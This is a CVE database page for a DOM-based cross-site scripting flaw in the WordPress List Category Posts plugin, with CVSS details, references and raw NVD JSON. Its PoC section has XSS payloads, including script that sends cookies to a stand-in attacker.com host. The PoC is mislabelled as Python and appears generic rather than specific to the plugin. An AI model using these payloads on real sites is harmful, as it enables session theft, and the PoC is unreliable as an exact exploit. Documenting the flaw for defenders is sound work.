CVE-2026-32419

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Fernando Briano List category posts list-category-posts allows DOM-Based XSS.This issue affects List category posts: from n/a through <= 0.93.1.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

List Category Posts WordPress插件 <= 0.93.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- WordPress List Category Posts DOM XSS PoC -->
<!-- 攻击者需具备高权限账户，在文章内容或分类描述中插入以下payload -->

<!-- 方法1：通过短代码参数注入 -->
[catlist name='<script>alert(document.cookie)</script>']

<!-- 方法2：通过URL参数触发DOM XSS -->
<!-- 在页面URL中添加恶意参数，插件JavaScript直接读取并执行 -->
?category_name=<img src=x onerror=alert('XSS')>

<!-- 方法3：利用插件小工具的输入字段 -->
<!-- 在分类选择或标题字段中输入XSS payload -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

<!-- 完整攻击场景 -->
<!DOCTYPE html>
<html>
<body>
<h2>Malicious Page for CVE-2026-32419</h2>
<!-- 模拟插件渲染过程 -->
<div id="vulnerable-output"></div>
<script>
  // 模拟插件不安全的数据处理
  var categoryInput = '<img src=x onerror=fetch("https://attacker.com/steal?c="+btoa(document.cookie))>';
  document.getElementById('vulnerable-output').innerHTML = categoryInput;
  // 实际攻击中payload会被插件代码动态插入
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32419
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32419
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32419/
[4] VulDB https://vuldb.com/cve/CVE-2026-32419
[5] https://patchstack.com/database/Wordpress/Plugin/list-category-posts/vulnerability/wordpress-list-category-posts-plugin-0-93-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32419", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:59.497", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Fernando Briano List category posts list-category-posts allows DOM-Based XSS.This issue affects List category posts: from n/a through <= 0.93.1."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Fernando Briano List category posts list-category-posts permite XSS basado en DOM. Este problema afecta a List category posts: desde n/a hasta <= 0.93.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/list-category-posts/vulnerability/wordpress-list-category-posts-plugin-0-93-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}